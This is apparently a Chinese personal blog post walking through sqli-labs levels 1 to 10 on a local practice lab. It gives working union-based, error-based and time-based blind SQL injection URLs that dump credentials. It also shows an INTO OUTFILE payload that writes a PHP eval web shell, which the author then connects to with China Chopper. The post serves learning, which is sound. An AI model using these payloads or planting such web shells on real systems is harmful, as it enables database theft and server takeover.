Lemon's blog

通过sql-labs进行sql注入学习(1-10)

Record my learning process of SQL-labs.

字数统计: 2.8k阅读时长: 11 min
2019/06/09 Share

SQL注入有很多方法,先接触最简单最直观的一种——联合查询注入

联合查询注入原理
联合查询的前提是需要有显示位,而显示位就是通过用户的查询从数据库中返回到页面的数据,是可变化的。
例如:sql-labs前四关都是联合查询注入

sql-labs(一)

在这里插入图片描述
输入id=1或id=2,都会返回数据,而且返回的数据不相同。
接下来就开始实战,通过实战来了解联合查询注入的步骤和方法

一、判断注入点
闭合符号一般是',",或无闭合符号')")
--+为注释符号
在url框中输入?id=2',发现
在这里插入图片描述
--+将后面的字符注释掉,发现
在这里插入图片描述
正常显示,说明注入点是单引号。
二、判断列数

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 4--+

发现
在这里插入图片描述
一共三列,接下来就开始联合查询。

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3--+

这里将id等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来。
在这里插入图片描述
2,3的位置我们便可插入我们想用的语句了。

三、爆数据库

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,database(),3--+

通过一个database()函数便可获知当前数据库。
在这里插入图片描述
四、爆数据表

在此之前,我们要知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

了解之后,才会更明白一些语句为何这样那样构造,接下来就开始查询数据表。

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
五、爆字段

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

也可以

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述
六、爆值

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

0x3a:用来区分用户名和密码,不至于混淆。
在这里插入图片描述
这样,用户名和密码就爆出来了。

sql-labs(二)
1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4--+

无闭合符号

sql-labs(三)
1
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4--+

闭合符号为')

sql-labs(四)
1
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4--+

闭合符号为")
在这里插入图片描述
其他步骤与第一关相同,这里就不阐述了。

接下来介绍第二种注入方式——报错注入
报错注入原理
报错注入是基于没有回显数据,只有报错语句的基础上才使用,例如sql-labs的第五关。
在这里插入图片描述
这里即使id输入正确,也只会显示一个YOU are in……,但如果输入错误的语句时,会出现报错语句。
在这里插入图片描述
那思路来了,我们可以故意构造报错语句,其中插入我们想要的语句,这样即使报错了,在语句中也含有我们想要的数据。
网上有很多常见的报错注入语句,但是要理解原理,才能更好的使用这些语句。
一、Duplicate entry报错
报错注入的经典语句:

1
2
union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+
version()可以替换为需要查询的信息。

简化语句:

1
union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+

在使用之前,我们要知道一些函数的作用

Count()计算总数
Concat()连接字符串
Floor()向下取整数
Rand()产生0~1的随机数
rand(0)序列是011011
group by a 会根据a的规则对数据进行分组,而分组的时候,mysql会建立一个临时空表进行分组

这里看了很多大佬的博客,搞清楚了Duplicate entry报错的原理。
union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+
网上最常见的语句就是这个,但为何报错?? 因为count()和floor(rand(0)2)的位置问题吗??,其实不是的,这里也就不饶弯子了。其实报错的原因在与rand()函数在查询的时候会执行了一次,而插入的时候又会执行一次,group by 创建的临时表,第一次查询是0,,因为是空表所以插入这条,而插入的时候rand()又执行了一次,再执行一次因为表中已经有数据1,那么新添加的数据相加变成2,这里相当已经执行了三次(但其实是二次),所以011011就又排到0了,到了第三次执行rand()是值为0,因为表中不存在所以要插入新的数据,这次插入rand()再次执行,所以插入的又是1.而表中已经存在1了此时插入因为重复出现同一个key,就会出现报错 重复出现key
在这里插入图片描述在这里插入图片描述
所以这也是为何floor(rand(0)*2)报错是有条件的,记录必须3条以上的原因
在这里插入图片描述
这里我们觉得可以多去看看大佬的博客,他们写的真的非常详细,例如:
MYSQL报错注入原理
sql注入之报错注入
MYSQL常见注入原理
懂其原理,便可做题。

sql-labs(五)

首先判断出单引号闭合
利用经典语句
一、爆出数据库

1
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' union select 1,2,count(*)  from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+

这里要注意的是报错语句会出现一个1,有时可能弄混淆,所以我们加上0x3a:来隔开这个1。
在这里插入图片描述
报错语句中又我们想要的信息,数据库名,接下来就爆表名。
二、爆表名

1
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+

在这里插入图片描述
爆出我们想要的表名
三、爆字段值

1
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

在这里插入图片描述

1
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

在这里插入图片描述
爆出了字段

四、爆值

1
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select username from users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+

在这里插入图片描述
这样就爆出用户名和密码了。

sql-labs(六)
1
http://127.0.0.1/sqli-labs-master/Less-6/?id=2" union select 1,2,count(*)  from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+

闭合符号为"在这里插入图片描述
其它的步骤与sql-labs(五)相同,一步一步就可以爆出你想要的信息。

通过第七关学到了很多东西,菜刀的使用,而且学到一种注入方法。
在这里插入图片描述
首先就先首先菜刀的方法,这个贼过瘾。。。
之前总看大佬的博客中有一句话,我都不知道是什么意思今天终于搞清楚了一些,就先用第七关来练习一下。
第一种方法-使用菜刀
一、判断注入点
在这里插入图片描述
但这时的报错语句已经统一规范成这样了,所以只有挨个试。
试出来注入点为1'))
二、查列数
一共三列
三、构造一句话

1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_POST["mi"])?>',user() into outfile "D://6.php"--+

注意这里将上传文件路径改为phpstudy的根目录,其他目录菜刀连接时会没有权限。
在这里插入图片描述
将一句话文件上传到根目录后,开始动用菜刀,右键点击添加。
在这里插入图片描述
地址填入你上传文件的地址
在这里插入图片描述
后面的小框中填入一句话中构造的密码

1
'<?php @eval($_POST["mi"])?>'

如:我构造的密码为mi
点击连接
在这里插入图片描述
这多过瘾,比慢慢爆出数据库过瘾多了,这直接进入服务器了。

第二种方法-手工注入
只要判断出了闭合符号,其他按照那些固定的语句来吧。
一、爆列
这个就不演示了,一共就三列。
二、爆表

1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,table_name,3 from information_schema.tables where table_schema='security'  into outfile "D://SQL//7.php"--+

去D盘的SQL目录中查看文件
在这里插入图片描述
果然显示出来了
三、爆字段

1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 into outfile "D://SQL//8.php"--+

在这里插入图片描述
四、爆值

1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,group_concat(username,0x3a,password),3 from users into outfile "D://SQL//9.php"--+

在这里插入图片描述
会发现这些语句都是固定不变的,变的只是一些注入方式而已,所以懂得原理很重要。

sql-labs(八)

与第七关不同的就是没有了报错提醒
在这里插入图片描述
闭合符号为:'

1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' union select 1,'<?php @eval($_POST["mi"])?>',user() into outfile "D://8.php"--+

利用一句话和第七关相同。
手工注入的话和第七关的方法相同,这里就不演示了
在这里插入图片描述

接下来就要学习一种新的注入方式,时间延时盲注,具体通过第九关来看。

sql-labs(九)

在第九关中,无论我们怎么判断闭合符号,其显示的只是
在这里插入图片描述
因此我们需要换一种方式来查看到底那个是闭合符号

1
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(10)--+

在这里插入图片描述
发现确实延迟了10秒,所以判断'为闭合符号。
再使用延时注入前,需要知道几个时间注入的函数

sleep() //延迟函数
if(condition,true,false) //条件语句
ascii() //转换成ascii码
substr(“string”,strart,length) //取出字符串里的第几位开始,长度多少的字符

判断数据库名长度

1
?id=1' and if(length(database())>1,sleep(4),0) --+

爆出数据库名

1
?id=1'and if(ascii(substr(database(),1,1))>M,sleep(5),0) --+

原理很明显,提取数据库中的第一个字符,转化为ascll码,然后和M相比较,如果大于则睡5秒,否则不睡,这样就可以判断出第一个字符。通过改变substr函数后面的两个变量和M,我们就可以对数据库名进行猜解。

不建议手工注入,效率会很低,写一个python脚本跑一下就可以爆出来,目前自己还在学习python,等学完之后再写一个盲注的脚本,直接用别人的总感觉不太好。sql-labs(十)大致也是基于时间盲注的原理,只不过闭合符号不同罢了,就先学习到这里。

CATALOG
  1. 1. sql-labs(一)
  2. 2. sql-labs(二)
  3. 3. sql-labs(三)
  4. 4. sql-labs(四)
  5. 5. sql-labs(五)
  6. 6. sql-labs(六)
  7. 7. sql-labs(八)
  8. 8. sql-labs(九)